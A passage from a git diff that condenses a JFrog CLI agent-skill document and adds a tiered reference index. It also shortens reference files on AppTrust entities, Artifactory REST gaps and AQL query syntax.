+(`/artifactory`, `/xray`, `/access`, …) — omit → 404. +**Tier B — MUST read in full before `jf api`:** +[`references/jf-api.md`](references/jf-api.md) +(prefixes, flags, examples, OneModel GraphQL payload). Body on stdout / status +on stderr — see [Gotchas](#gotchas--hard-rules-never-skip) + full +`cli-gotchas.md` (Tier B). ## Structured inputs -Several CLI commands require JSON template files. The templates are normally -created by interactive wizard commands (`jf rt rpt`, `jf rt ptt`, `jf rt rplt`) -which agents cannot use. Instead, retrieve an existing config via REST API as a -starting point and modify it: +Interactive wizards (`jf rt rpt` / `ptt` / `rplt`) are unusable for agents. +Fetch an existing config via REST and edit: ```bash jf api /artifactory/api/repositories/ ``` -For other Artifactory or platform REST patterns, or when you need more than -this repo GET, see **Any API gap** under [When to read reference files](#when-to-read-reference-files). - -## Gotchas - -### MCP tools - -- MCP tools return structured data in the tool result. Read response fields - directly; do not pipe MCP output through shell commands or `jq`. - -### CLI and `jf api` - -- `jf api` requires the **product prefix** in the path. Omitting it returns - 404. See the [product-prefix table](#product-prefix-table) for the full list. -- `jf api` writes the body (success or error JSON) to **stdout** and - `[Info] Http Status: NNN` to **stderr** on every call; non-2xx also exits - 1 and adds `[Warn] jf api: returned NNN`. Pipe stdout to - `jq` directly; **never `2>&1 | jq`** — stderr corrupts the JSON. To keep - diagnostics: `jf api 2>/tmp/err-$$.log | jq .`. -- `jf api` has **no `-L`** (follow redirects) and **no `-o`** (output file). - Save bodies with shell redirection - (`jf api ... > /tmp/out-$$.json`); for - binary downloads through the Artifactory remote proxy prefer `jf rt dl`, - which handles the cache and redirect semantics natively. -- Remote repository content is stored in a `-cache` suffixed repo. Properties - and AQL queries for remote repo artifacts must target the cache repo. - Conversely, `/api/repositories/` only accepts the parent remote key - (without `-cache`) — strip the suffix for configuration lookups. -- **Do not use `jf rt search`** — always use a direct AQL query via - `jf api /artifactory/api/search/aql -X POST -H "Content-Type: text/plain" -d ''`. - See `references/artifactory-aql-syntax.md`. -- Use `--quiet` flag for non-interactive execution (suppresses confirmation - prompts). **Caution:** `--quiet` is not a global flag — commands that do not - support it (e.g. `jf rt s`, `jf rt ping`) will fail with misleading errors - like "Wrong number of arguments" or "flag provided but not defined". Check - `--help` for a command before adding `--quiet`. -- Use `--server-id` when targeting a non-default server. If a command fails - with `--server-id`, do not retry without it — that silently targets the - default server instead. See [Server selection rules](#server-selection-rules-mandatory). -- Never use interactive commands. All JFrog CLI operations must be performed - non-interactively. Known interactive commands to avoid: `jf config add`, - `jf login`, `jf rt repo-template`, `jf rt permission-target-template`, and - `jf rt replication-template`. For server setup, follow `references/jfrog-login-flow.md`. - For templates, use JSON schemas or REST API. If a command prompts for input - unexpectedly, find the non-interactive alternative via `--help` or REST API. -- `jf config export` output is base64-encoded JSON. Decode with - `base64 -d | jq` to extract fields. -- Build info lookups require a scope (`?buildRepo=` or `?project=`) — - resolve it before calling the API. See `references/artifactory-operations.md` - §Retrieving build info for the full workflow. -- If a `jf api` call returns 401, the configured token may have expired or - been rotated — ask the user to re-run the login flow (see - `references/jfrog-login-flow.md`) for the **same** server. If 403, the - token lacks required permissions. If 404, verify the endpoint path - (especially the product prefix) and target server version. On any of - these errors, do not try a different configured server as a workaround — - that targets a different environment. Report the error and ask the user. -- **Xray contextual analysis:** the summary artifact response has two - applicability fields — `applicability` (top-level, often null) and - `applicability_details` (always present with a `result` string). **Use - `applicability_details[].result` for counts and summaries.** Using the - top-level `applicability` field for aggregation produces wrong counts because - it is null when no scanner exists. See `references/xray-entities.md` - §Contextual analysis for the eight possible result values and jq snippets. -- **OneModel GraphQL:** always fetch the supergraph schema from the **same** - server you query before building operations (schemas differ by deployment); - cache, validate, and execute per `references/onemodel-graphql.md`. -- Never duplicate a network-fetching command to retry `jq` parsing — save the - response to a temp file first (see [Preserving command output](#preserving-command-output)). -- When collecting detail responses in a loop (e.g. per-repo GETs), validate - each body with `jq -e .` before appending to a results file. One non-JSON - or empty response corrupts a downstream `jq -s` slurp. Write validated - lines to an NDJSON file, then `jq -s '.' file.ndjson` to produce the final - array. See `references/general-bulk-operations-and-agent-patterns.md`. -- Accumulated edge cases from real tasks live in `references/general-use-case-hints.md` - — read when debugging odd failures; **append** a short entry when you confirm - a new, reusable gotcha. - +More REST/template patterns → `references/artifactory-api-gaps.md` or +`references/platform-admin-api-gaps.md` via [`references/INDEX.md`](references/INDEX.md). + +## Gotchas — hard rules (never skip) + +**Not tips.** Tier A bullets below are the always-read floor. Full +[`references/cli-gotchas.md`](references/cli-gotchas.md) is **Tier B** — +**MUST** before `jf api` / AQL / advanced CLI I/O / MCP-via-shell; **not** +required before every CLI or `jf setup`. Short bullets do **not** replace the +full file on Tier B paths. + +**Tier A floor (every non-exempt `jf` session):** + +- **`--quiet`** is not global — check `--help` before adding it +- **`--server-id`:** if a call fails with it, do not retry without it (silent + default-server switch). See [Server selection rules](#server-selection-rules-mandatory) +- **Non-interactive only** — avoid `jf config add`, `jf login`, `*template` + wizards; use `references/jfrog-login-flow.md` / REST +- **Auth errors:** 401 → re-login **same** server; 403 → permissions; 404 → + path/prefix/version. Never switch configured servers as a workaround + +**Tier B reminders (load full `cli-gotchas.md` + sibling Tier B refs before +these paths):** + +- **MCP:** read structured tool results directly — do not pipe through shell/`jq` +- **`jf api` I/O:** body → stdout, status → stderr; pipe stdout to `jq`; + **never `2>&1 | jq`**. No `-L` / `-o` — redirect: `jf api … > /tmp/out-$$.json` +- **Product prefix** required on every `jf api` path (see Tier B `jf-api.md`) +- **Never re-fetch to retry `jq`** — save output first + ([Preserving command output](#preserving-command-output) + Tier B + `preserving-command-output.md`) ## Batch and parallel execution -When a task requires multiple independent operations, use the lightest -parallelism mechanism that fits. Three tiers: (1) batch commands in a single -Shell call using loops or `&`, (2) issue parallel Shell tool calls, (3) launch -parallel subagents for large fan-out. Read `references/general-parallel-execution.md` -(~135 lines) for tier selection, examples, and subagent prompt structuring. +Independent ops → lightest parallelism: (1) loops/`&` in one Shell, (2) parallel +Shell calls, (3) subagents for large fan-out. Details → +`references/general-parallel-execution.md`. ## Preserving command output -When a CLI command or API call returns data, redirect the output to a temporary -file so you can re-read it without re-executing the call: - -```bash -OUT=/tmp/jf-repos-$$.json -jf api /artifactory/api/repositories > "$OUT" -echo "$OUT" -``` - -Use `$$` (the shell PID) in the filename to prevent collisions across -concurrent sessions or processes. - -**Cross-call gotcha:** each Shell tool invocation runs in a new process with a -different PID, so `$$` expands to a different value in each call. Always -**echo the expanded filename** so the agent can read it from the output and -reuse the literal path in subsequent calls. Three patterns, in priority order: - -1. **`$$` + echo** (preferred): use `$$` for collision safety, echo the path - as shown above. The agent reads `/tmp/jf-repos-12345.json` from the output - and passes that literal value to the next Shell call. -2. **Session ID**: when many files share a prefix across calls, generate an ID - once (`SID=$(date +%s)-$$`), echo it, and reuse in later calls. -3. **Hardcoded names**: last resort — risks collisions when parallel calls or - subagents write to the same path. - -This protects against wasted round-trips when you need to retry parsing — for -example, if a `jq` filter fails or you extract the wrong field on the first -attempt. Re-read the file instead of hitting the server again. - -Do **not** duplicate the same **network** request in a shell pipeline (e.g. with -`||`) only to re-run `jq` or to reveal jq diagnostics—the duplicate call -adds load on JFrog without fetching new data. Run -`jq '' /tmp/jf-*-$$.json` (or redirect stdin from the file) instead -of re-running the same `jf api` or other identical network-backed command. - -Do **not** reuse saved output across unrelated steps or changed contexts (different -server, user, or intent). The file is only valid for the immediate sequence of -operations that motivated the original call. +Save network responses to a temp file; echo the path; re-read for `jq` — never +re-run the same network call to fix parsing. + +**Tier B — MUST read in full before advanced I/O / re-parse patterns:** +[`references/preserving-command-output.md`](references/preserving-command-output.md) +(`$$` + echo, session id, no re-fetch / no cross-context reuse). + +## Before you run `jf` — quick checklist + +[At a glance](#at-a-glance-always-read-core) **Tier A** floor; add **Tier B** +only when the next action needs `jf api` / advanced CLI: + +- [ ] `export JFROG_CLI_USER_AGENT=''` in this bash — `` is the exact + stdout line from `check-environment.sh` exit 0/1 (never invent / rebuild) +- [ ] network `jf`: `--server-id ` after subcommand (not `jf --version` / + `jf config show` pre-SID) +- [ ] one server; error → stop, don't switch (multi only if user names / + `compare`) +- [ ] no prep create/copy/move/upload to fill a gap (workaround ask ≠ permission) +- [ ] never guess tools/paths → list / `--help` / `references/`; 404 → stop; + `jf api` product prefix (`/artifactory`, `/xray`, …) +- [ ] **Tier A** hard rules: Cautious execution + Server selection + Gotchas + Tier A floor (interactive / `--server-id` retry / stop-on-error / + `--quiet`) +- [ ] **Tier B** (only if next action is `jf api` / AQL / advanced CLI I/O): + full `cli-gotchas.md`, `jf-api.md`, `preserving-command-output.md`, + `cli-command-discovery.md` diff --git a/skills/jfrog/references/INDEX.md b/skills/jfrog/references/INDEX.md new file mode 100644 index 0000000..c005c53 --- /dev/null +++ b/skills/jfrog/references/INDEX.md @@ -0,0 +1,83 @@ +# Reference index — when to read which file + +**Tier A** = `SKILL.md` At-a-glance floor (before first non-exempt `jf`). +**Tier B** = four files below — **MUST** before `jf api` / AQL / advanced CLI +I/O / MCP-via-shell; **not** before every CLI or `jf setup`. +**Tier C** = domain entries — ≤2–3 most specific; skip unused. Login / CLI +install when needed. + +Paths relative to skill root. List **every** `references/` file (except this +one). CI: `tests/jfrog/test_reference_index_contract.py`. + +--- + +## Tier B — path-gated (MUST before `jf api` / advanced CLI) + +Ordinary CLI / `jf setup` → Tier A only. Skipping any below on a Tier B path = +hard-rule violation. + +- **Gotchas / caveats / do-don'ts**: **MUST** `references/cli-gotchas.md` on Tier B — not replaceable by SKILL.md Tier A floor +- **`jf api` prefixes / flags / GraphQL**: **MUST** `references/jf-api.md` before `jf api` +- **Temp files / `$$` / no re-fetch**: **MUST** `references/preserving-command-output.md` before advanced I/O +- **Namespaces / top-level cmds / Pipelines sunset**: **MUST** `references/cli-command-discovery.md` when discovery beyond `--help` + +Tier C (when needed — not Tier B): + +- **Login / add server**: `references/jfrog-login-flow.md` +- **CLI install / upgrade / `jq` missing**: `references/jfrog-cli-install-upgrade.md` + +--- + +## Domain / on-demand (INDEX navigation) + +Load the most specific file for the task. Avoid more than 2–3 reference files +for one operation. + +## Cross-domain + +- **Disambiguating a JFrog entity, understanding entity types, or planning operations that span multiple products**: read `references/jfrog-entity-index.md`, then follow pointers to the relevant domain file +- **Looking up documentation URLs**: read `references/jfrog-url-references.md` + +## Artifactory + +- **Repository types, artifacts, builds, properties, or permission targets (concepts)**: read `references/artifactory-entities.md` +- **Stored packages, package versions, version locations, or the metadata layer over Artifactory (concepts)**: read `references/stored-packages-entities.md` +- **Repo, file, build, permission, user/group, or replication operations**: if the JFrog MCP server exposes a tool for the operation, prefer it. For CLI/API fallback, read `references/artifactory-operations.md` (for **listing builds** use AQL with `limit`/`offset` — see § *Listing build names*; for **full build detail** use `GET /api/build//?project=` — see § *Retrieving full build info*) +- **AQL queries**: read `references/artifactory-aql-syntax.md` +- **Artifactory REST beyond the CLI, structured JSON templates (replacing interactive wizards), or any Artifactory API gap**: read `references/artifactory-api-gaps.md` + +## Xray & security + +- **Watches, policies, violations, components, or vulnerability scanning (concepts)**: read `references/xray-entities.md` +- **Exposures scanning results (secrets, IaC, service misconfigurations, application security risks)**: read `references/xray-entities.md` § Exposures (Advanced Security) +- **Curation audit events (approved/blocked packages, dry-run policy evaluations, curation export)**: read `references/xray-entities.md` § Curation audit events + +## Release lifecycle & distribution + +- **Release bundles, lifecycle stages, distribution, or evidence (concepts)**: read `references/release-lifecycle-entities.md` +- **Applications, application versions, releasables, promotions, or AppTrust (concepts)**: read `references/apptrust-entities.md` + +## Catalog + +- **Public or custom catalog, package metadata, vulnerability advisories, licenses, OpenSSF, or MCP services (concepts)**: if the JFrog MCP server exposes a catalog tool, prefer it for single-package lookups. For deeper queries, read `references/catalog-entities.md` +- **CVE details, vulnerability lookup by CVE ID, or severity/affected-packages/fix-versions for a specific CVE**: prefer an MCP vulnerability-lookup tool if the JFrog MCP server exposes one. Otherwise read `references/onemodel-query-examples.md` § *Public security domain* for the `searchVulnerabilities` query shape — this is self-contained; do not load the `jfrog-package-safety-and-download` skill for pure CVE lookups + +## OneModel (GraphQL) + +- **GraphQL queries** (applications, packages, evidence, release bundles, catalog, cross-domain, or "list/search my" platform entities): read `references/onemodel-graphql.md` +- **Query templates and domain-specific examples**: read `references/onemodel-query-examples.md` +- **Pagination, filtering, GraphQL variables, or date formatting**: read `references/onemodel-common-patterns.md` + +## Platform administration + +- **Platform structure, project/repo membership, or project roles vs environments (concepts)**: read `references/platform-access-entities.md` +- **Access tokens, stats, projects, or system health**: read `references/platform-admin-operations.md` +- **Managing JFrog Projects, members, or environments**: read `references/projects-api.md` +- **Platform REST beyond the CLI, or any platform-level API gap**: read `references/platform-admin-api-gaps.md` + +## General patterns + +- **Batching, parallel Shell calls, or launching subagents**: read `references/general-parallel-execution.md` +- **Large or parallel data gathering, list-vs-detail APIs, cache hygiene**: read `references/general-bulk-operations-and-agent-patterns.md` +- **Standalone HTML report with JFrog-aligned styling**: read `references/jfrog-brand-html-report.md` +- **Reusable gotchas from past tasks**: read or extend `references/general-use-case-hints.md` diff --git a/skills/jfrog/references/apptrust-entities.md b/skills/jfrog/references/apptrust-entities.md index 6ca5088..d1e014f 100644 --- a/skills/jfrog/references/apptrust-entities.md +++ b/skills/jfrog/references/apptrust-entities.md @@ -4,14 +4,13 @@ When to read this file: - Working with **applications**, **application versions**, or **releasables**. - Querying or managing **application version promotions** through stages. -- Understanding what **sources** (builds, release bundles, other app versions) feed into an application version. -- Using the OneModel GraphQL API with the `applications` query root. +- Understanding **sources** (builds, release bundles, other app versions) feeding an application version. +- OneModel GraphQL with `applications` query root. -AppTrust entities are accessed exclusively via the **OneModel GraphQL API** -(`/onemodel/api/v1/graphql`). There are no CLI commands for this domain. +AppTrust via **OneModel GraphQL API** (`/onemodel/api/v1/graphql`). No CLI. -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel workflow (credentials, schema fetch, validation, execution): +`references/onemodel-graphql.md`. ## Entity relationship overview @@ -31,28 +30,26 @@ erDiagram ## Application -The top-level entity representing a software application registered in -AppTrust. Applications belong to a JFrog Project and serve as the -organizational container for tracking versions, ownership, and criticality. +Top-level software application in AppTrust. Belongs to a JFrog Project; +container for versions, ownership, criticality. | Field | Description | |-------|-------------| -| `key` | Unique identifier (referenced as `applicationKey` or `appKey` elsewhere) | -| `projectKey` | JFrog Project this application belongs to | +| `key` | Unique ID (`applicationKey` / `appKey` elsewhere) | +| `projectKey` | JFrog Project | | `displayName` | Human-readable name | | `criticality` | `unspecified`, `low`, `medium`, `high`, `critical` | | `maturityLevel` | `unspecified`, `experimental`, `production`, `end_of_life` | -| `owners` | List of users or groups that own the application | -| `labels` | Key-value pairs for custom categorization | +| `owners` | Owning users/groups | +| `labels` | Key-value categorization | Query: `applications.getApplication(key: "...")` or `applications.searchApplications(where: {...})`. ## Application version -A versioned instance of an application. Each version captures a specific set -of releasable artifacts, their sources, and a promotion history through -lifecycle stages. +Versioned instance of an application — releasable artifacts, sources, promotion +history through lifecycle stages. | Field | Description | |-------|-------------| @@ -61,20 +58,18 @@ lifecycle stages. | `tag` | Optional tag | | `status` | Processing status: `STARTED`, `FAILED`, `COMPLETED`, `DELETING` | | `releaseStatus` | Release maturity: `PRE_RELEASE`, `RELEASED`, `TRUSTED_RELEASE` | -| `currentStageName` | Most recent stage the version has been promoted to (null if never promoted) | +| `currentStageName` | Latest promoted stage (null if never promoted) | | `createdBy`, `createdAt` | Audit fields | | `evidenceSubject` | Evidence attestation anchor (shared across domains) | -The `releaseStatus` field is distinct from `status`: `status` tracks the -version creation process, while `releaseStatus` tracks its release maturity. +`releaseStatus` ≠ `status`: `status` = creation process; `releaseStatus` = release maturity. Query: `applications.getApplicationVersion(applicationKey: "...", version: "...")` or `applications.searchApplicationVersions(where: {...})`. ## Releasable -A deployable unit within an application version — either a **package version** -or an individual **artifact**. +Deployable unit within an application version — **package version** or individual **artifact**. | Field | Description | |-------|-------------| @@ -89,14 +84,12 @@ or an individual **artifact**. | `packageVersionLocation` | Link to `StoredPackageVersionLocation` for package releasables | | `vcsCommit` | VCS commit details (for AppTrust-bound package versions) | -Releasables bridge the application model to the underlying Artifactory -storage. The `packageVersionLocation` field connects to the Stored Packages -domain (see `stored-packages-entities.md`). +Releasables bridge application model to Artifactory storage. `packageVersionLocation` +→ Stored Packages domain (`stored-packages-entities.md`). ## Application version promotion -Records the promotion of an application version from one stage to another. -All promotions are recorded including failed attempts. +Promotion of application version between stages. All attempts recorded including failures. | Field | Description | |-------|-------------| @@ -107,13 +100,12 @@ All promotions are recorded including failed attempts. | `artifacts` | Artifacts included in this promotion (repo + path) | | `messages` | Error messages if the promotion failed | -Promotions use the same environment/stage model as Release Bundle promotions -(see `release-lifecycle-entities.md`) but at the application level. +Same environment/stage model as Release Bundle promotions +(`release-lifecycle-entities.md`), at application level. ## Sources -Sources describe how releasables were assembled into an application version. -Four types exist: +How releasables were assembled into an application version. Four types: | Source type | Fields | Description | |-------------|--------|-------------| @@ -122,8 +114,7 @@ Four types exist: | **ApplicationVersion** | `applicationKey`, `version` | Another application version (composition) | | **Direct** | (none) | Directly included without an associated build or bundle | -Sources appear at both the application version level (all sources) and the -individual releasable level (sources for that specific releasable). +At application version level (all sources) and releasable level (per-releasable sources). ## Artifacts (within application versions) @@ -139,16 +130,12 @@ Individual files within releasables. ## Cross-domain connections -AppTrust entities connect to other domains via the OneModel GraphQL API: +Via OneModel GraphQL: - **Evidence** — `ApplicationVersion.evidenceSubject` and - `ApplicationVersionArtifact.evidenceSubject` link to the Evidence domain - via `EvidenceSubject.fullPath`. This allows querying evidence attached to - app versions and their artifacts. -- **Stored Packages** — `Releasable.packageVersionLocation` links to - `StoredPackageVersionLocation`, connecting the application model to where - packages physically reside in Artifactory. -- **Release Bundles** — source type `ReleaseBundle` references release bundle - name/version from the Release Lifecycle domain. -- **Builds** — source type `Build` references build-info records from - Artifactory. + `ApplicationVersionArtifact.evidenceSubject` → Evidence domain via + `EvidenceSubject.fullPath`. +- **Stored Packages** — `Releasable.packageVersionLocation` → + `StoredPackageVersionLocation` (physical Artifactory location). +- **Release Bundles** — source type `ReleaseBundle` → Release Lifecycle name/version. +- **Builds** — source type `Build` → Artifactory build-info records. diff --git a/skills/jfrog/references/artifactory-api-gaps.md b/skills/jfrog/references/artifactory-api-gaps.md index 1533d8a..c125cf2 100644 --- a/skills/jfrog/references/artifactory-api-gaps.md +++ b/skills/jfrog/references/artifactory-api-gaps.md @@ -1,9 +1,8 @@ # Artifactory API Gaps -Operations available through REST API but not through CLI commands. -Invoke them via `jf api [flags]` (authentication is handled -automatically against the active `jf config` server; see the base skill's -*Invoking platform APIs with `jf api`* section). +REST operations without CLI commands. Invoke via `jf api [flags]` +(auth automatic against active `jf config` server; see base skill +*Invoking platform APIs with `jf api`*). ## Repository management @@ -11,8 +10,7 @@ automatically against the active `jf config` server; see the base skill's ```bash jf api /artifactory/api/repositories/ ``` -Returns the full JSON configuration of a repository. Useful as a template -for creating similar repos. +Full JSON repo config. Useful as template for similar repos. ### List all repositories ```bash @@ -89,7 +87,7 @@ jf api /artifactory/api/search/aql \ -d 'items.find({"repo":"my-repo","name":{"$match":"*.jar"}})' ``` -For remote repository content, query the `-cache` suffixed repo: +Remote repo content — query `-cache` suffixed repo: ```bash jf api /artifactory/api/search/aql \ -X POST -H "Content-Type: text/plain" \ @@ -113,8 +111,8 @@ jf api "/artifactory/api/search/gavc?g=com.example&a=mylib&v=1.0" ## User and group management -User and group operations are handled by the Access service. See -`platform-admin-api-gaps.md` (Users / Groups sections) for the full set. +User/group operations via Access service. See +`platform-admin-api-gaps.md` (Users / Groups sections). ## Metadata calculation @@ -172,10 +170,9 @@ jf api "/artifactory/api/federation/fullSyncAll/" -X POST ### List builds (prefer scoped queries) -**Unscoped** `GET /artifactory/api/build` (no query parameters) can **time -out** on busy instances. Prefer **project-scoped** or **repo-scoped** -listing, then detail GETs. Full flow: read `artifactory-operations.md` -§ *Listing builds when the project key is known*. +**Unscoped** `GET /artifactory/api/build` can **time out** on busy instances. +Prefer project- or repo-scoped listing + detail GETs. Flow: `artifactory-operations.md` +§ *Listing build names*. ```bash # Project scope — build names (latest per name) diff --git a/skills/jfrog/references/artifactory-aql-syntax.md b/skills/jfrog/references/artifactory-aql-syntax.md index b120275..12ca2bf 100644 --- a/skills/jfrog/references/artifactory-aql-syntax.md +++ b/skills/jfrog/references/artifactory-aql-syntax.md @@ -18,14 +18,14 @@ jf api /artifactory/api/search/aql \ .distinct() ``` -Only `.find()` is required. The others are optional and chainable. -**The chain order above is enforced by the server.** `.include()` must come -before `.sort()`, `.sort()` before `.offset()`, etc. Putting them out of -order (e.g. `.sort()` before `.include()`) produces a parse error. +Only `.find()` is required; others optional and chainable. +**Server enforces the chain order above.** `.include()` before `.sort()`, +`.sort()` before `.offset()`, etc. Out of order (e.g. `.sort()` before +`.include()`) → parse error. -**Mandatory include fields:** `items` requires `"repo","path","name"`; -`builds` requires `"name","number","repo"`. Always include these even when -you only need a subset — narrow results with `jq` post-query instead: +**Mandatory include fields:** `items` → `"repo","path","name"`; `builds` → +`"name","number","repo"`. Always include these even when you need a subset — +narrow with `jq` post-query: ``` items.find({"name":"commons-lang3-3.12.0.jar"}) @@ -35,9 +35,7 @@ items.find({"name":"commons-lang3-3.12.0.jar"}) ## Domains -AQL has 13 queryable domains. Each domain represents a different entity type -and has its own set of fields. - +13 queryable domains — each entity type has its own fields. | Domain | Query name | Description | | -------------------- | ------------------- | ---------------------------------------------- | @@ -55,12 +53,10 @@ and has its own set of fields. | Release bundles | `releases` | Release bundle records | | Release bundle files | `release_artifacts` | Files within a release bundle | - ## Domain relationships -Domains connect through the following join paths. Cross-domain queries -traverse these links — fields from related domains can appear in criteria -and include clauses by prefixing the domain path. +Join paths below. Cross-domain queries traverse these links — related-domain +fields in criteria/includes use a prefixed domain path. ```mermaid erDiagram @@ -79,15 +75,12 @@ erDiagram release_artifacts }o--|| releases : "belongs to" ``` - - -**Key:** Items connect to build artifacts and dependencies through SHA-1 -checksum matching, not a direct key. This means a cross-domain query from -items to builds traverses: items → artifacts → modules → builds. +**Key:** Items ↔ build artifacts/dependencies via SHA-1 checksum match (not +a direct key). Path items → builds: items → artifacts → modules → builds. ### Cross-domain field paths -To reference a field from a related domain, use dot-separated domain paths: +Related-domain field → dot-separated domain path: ``` items.find({"artifact.module.build.name":"my-build"}) @@ -108,12 +101,11 @@ From builds: ## Fields by domain -Field types: `string`, `date`, `int`, `long`, `itemType` (`file`, `folder`, -or `any`). Fields marked "default" are returned without explicit `.include()`. +Types: `string`, `date`, `int`, `long`, `itemType` (`file`, `folder`, `any`). +"Default" = returned without explicit `.include()`. ### items - | Field | Type | Default | | --------------- | -------- | ------- | | `repo` | string | yes | @@ -133,23 +125,19 @@ or `any`). Fields marked "default" are returned without explicit `.include()`. | `original_md5` | string | no | | `original_sha1` | string | no | - -Computed field: `virtual_repos` — returns virtual repositories that include -the item's actual repository. Must use `.include("virtual_repos")` explicitly; -requires `repo`, `path`, `name` in the result set. +Computed: `virtual_repos` — virtual repos that include the item's actual +repo. Requires `.include("virtual_repos")` plus `repo`,`path`,`name` in +the result set. ### properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### stats - | Field | Type | Default | | ---------------------- | ------ | ------- | | `downloads` | int | yes | @@ -161,20 +149,16 @@ requires `repo`, `path`, `name` in the result set. | `remote_origin` | string | yes | | `remote_path` | string | yes | - ### item.infos - | Field | Type | Default | | ------------------- | ------ | ------- | | `props_modified` | date | yes | | `props_modified_by` | string | yes | | `props_md5` | string | yes | - ### builds - | Field | Type | Default | | ------------- | ------ | ------- | | `url` | string | yes | @@ -187,18 +171,14 @@ requires `repo`, `path`, `name` in the result set. | `modified_by` | string | yes | | `repo` | string | no | - ### modules - | Field | Type | Default | | ------ | ------ | ------- | | `name` | string | yes | - ### artifacts - | Field | Type | Default | | ------ | ------ | ------- | | `name` | string | yes | @@ -206,10 +186,8 @@ requires `repo`, `path`, `name` in the result set. | `sha1` | string | yes | | `md5` | string | yes | - ### dependencies - | Field | Type | Default | | ------- | ------ | ------- | | `name` | string | yes | @@ -218,19 +196,15 @@ requires `repo`, `path`, `name` in the result set. | `sha1` | string | yes | | `md5` | string | yes | - ### build.properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### build.promotions - | Field | Type | Default | | ------------ | ------ | ------- | | `created` | date | yes | @@ -240,19 +214,15 @@ requires `repo`, `path`, `name` in the result set. | `comment` | string | yes | | `user` | string | yes | - ### module.properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### releases - | Field | Type | Default | | -------------- | --------------------------- | ------- | | `name` | string | yes | @@ -263,18 +233,14 @@ requires `repo`, `path`, `name` in the result set. | `type` | string (`SOURCE`, `TARGET`) | yes | | `storing_repo` | string | yes | - ### release_artifacts - | Field | Type | Default | | ------ | ------ | ------- | | `path` | string | yes | - ## Comparators - | Operator | Meaning | Example | | ---------- | -------------------------------- | ------------------------------------ | | `$eq` | Equals (default if omitted) | `{"type":"file"}` | @@ -288,16 +254,13 @@ requires `repo`, `path`, `name` in the result set. | `$lt` | Less than | `{"size":{"$lt":"5000"}}` | | `$lte` | Less than or equal | `{"modified":{"$lte":"2025-01-01"}}` | - ### Boolean operators - | Operator | Description | | -------- | ---------------------------------------------------------------------- | | `$and` | All conditions must match (implicit when fields are at the same level) | | `$or` | Any condition must match | - ``` items.find({"$and":[ {"repo":"my-repo"}, @@ -310,22 +273,18 @@ items.find({"$and":[ ### Relative date comparators -AQL supports relative date queries with `$last` and `$before`: - +`$last` / `$before` for relative dates: | Operator | Meaning | Example | | --------- | ------------------------------------------------------- | ------------------------------- | | `$last` | Within the last N period (equivalent to `$gt` from now) | `{"modified":{"$last":"7d"}}` | | `$before` | Before the last N period (equivalent to `$lt` from now) | `{"created":{"$before":"3mo"}}` | - -Supported units: `d` (days), `w` (weeks), `mo` (months), `y` (years), -`s` (seconds), `mi` (minutes), `ms` (milliseconds). +Units: `d`, `w`, `mo`, `y`, `s`, `mi`, `ms`. ### Multi-property AND -To match items that have property A=1 **and** property B=2 (different -property rows), use `$and` with `@` shorthand: +Match property A=1 **and** B=2 (different property rows) with `$and` + `@`: ``` items.find({"$and":[ @@ -334,20 +293,18 @@ items.find({"$and":[ ]}) ``` -AQL also documents a `$msp` (multi-set property) operator for this purpose, -but `$msp` is **unreliable in practice** — it returns 0 results on many -server versions even when matching items exist. Prefer `$and` with `@` -shorthand, which is verified to work correctly. +`$msp` (multi-set property) is **unreliable in practice** — often 0 results +even when matches exist. Prefer `$and` + `@` (verified). ## Date queries -Dates use ISO 8601 format for absolute dates: +Absolute dates → ISO 8601: ``` items.find({"modified":{"$gt":"2025-06-01T00:00:00.000Z"}}) ``` -Or use relative dates (preferred — avoids hardcoding timestamps): +Or relative dates (preferred — no hardcoded timestamps): ``` items.find({"modified":{"$last":"30d"}}) @@ -356,9 +313,9 @@ items.find({"created":{"$before":"6mo"}}) ## Property queries -Two equivalent syntaxes for property filtering: +Two equivalent property-filter syntaxes: -**`@key` shorthand** — concise, works for single property conditions: +**`@key` shorthand** — concise, single property conditions: ``` items.find({"repo":"my-repo","@build.name":"my-build","type":"file"}) @@ -374,15 +331,8 @@ items.find({ }) ``` -**Multi-property AND** — use `$and` with `@` shorthand to match across -different property rows: - -``` -items.find({"$and":[ - {"@build.name":"my-build"}, - {"@build.number":"42"} -]}) -``` +**Multi-property AND** — same `$and` + `@` pattern as +[Multi-property AND](#multi-property-and) above (do not re-copy here). > **Note:** The `@key` shorthand works inside `$and`. For `$or`, use the > explicit `property.key`/`property.value` form if the shorthand does not @@ -390,15 +340,12 @@ items.find({"$and":[ ## Include -Select which fields to return. Without `.include()`, AQL returns each -domain's default field set. +Fields to return. No `.include()` → domain defaults. -**When you use `.include()`, you replace the defaults — so you must -explicitly list any required fields:** +**`.include()` replaces defaults — list every required field:** -- `items` domain: always include `"repo","path","name"` (server rejects -the query otherwise) -- `builds` domain: always include `"name","number","repo"` +- `items`: always `"repo","path","name"` (else server rejects) +- `builds`: always `"name","number","repo"` ``` items.find({"repo":"my-repo"}) @@ -421,14 +368,14 @@ items.find({"repo":"my-repo"}) .limit(50) ``` -Sort directions: `$asc`, `$desc`. Sort fields must also appear in the result -set (explicit `.include()` or default fields). See +Sort: `$asc` / `$desc`. Sort fields must appear in the result set +(explicit `.include()` or defaults). See [Before constructing a query](#before-constructing-a-query) for sort performance rules. ## Distinct -Deduplicate result rows: +Deduplicate rows: ``` items.find({"repo":"my-repo"}).distinct(true) @@ -436,41 +383,37 @@ items.find({"repo":"my-repo"}).distinct(true) ## Validation rules -The server enforces these constraints — violating them produces an error: +Server constraints — violations → error: -**Non-admin users:** +**Non-admin:** -- `items` domain queries must include `repo`, `path`, `name` in results -(needed for permission filtering) -- `builds` domain queries must include `name`, `number`, `repo` in results +- `items` results must include `repo`, `path`, `name` (permission filtering) +- `builds` results must include `name`, `number`, `repo` -**Transitive mode** (`.transitive()` for querying through virtual repos): +**Transitive** (`.transitive()` through virtual repos): -- Only works with `items` domain +- `items` domain only - Include subdomains limited to `items` and `properties` -- Repo criteria must use `$eq` (exact match) with a single repository -- No `offset` or `sort` allowed +- Repo criteria: `$eq` only, single repository +- No `offset` or `sort` ## Before constructing a query -Run through these checks before writing any AQL query: - -1. **Never `.sort()` without a `repo` filter** — forces a full table scan - across all repositories. Sort client-side with `jq` instead. Also, - `.sort()` on cross-domain fields (e.g. `stat.downloads` in `items.find()`) - is silently ignored — 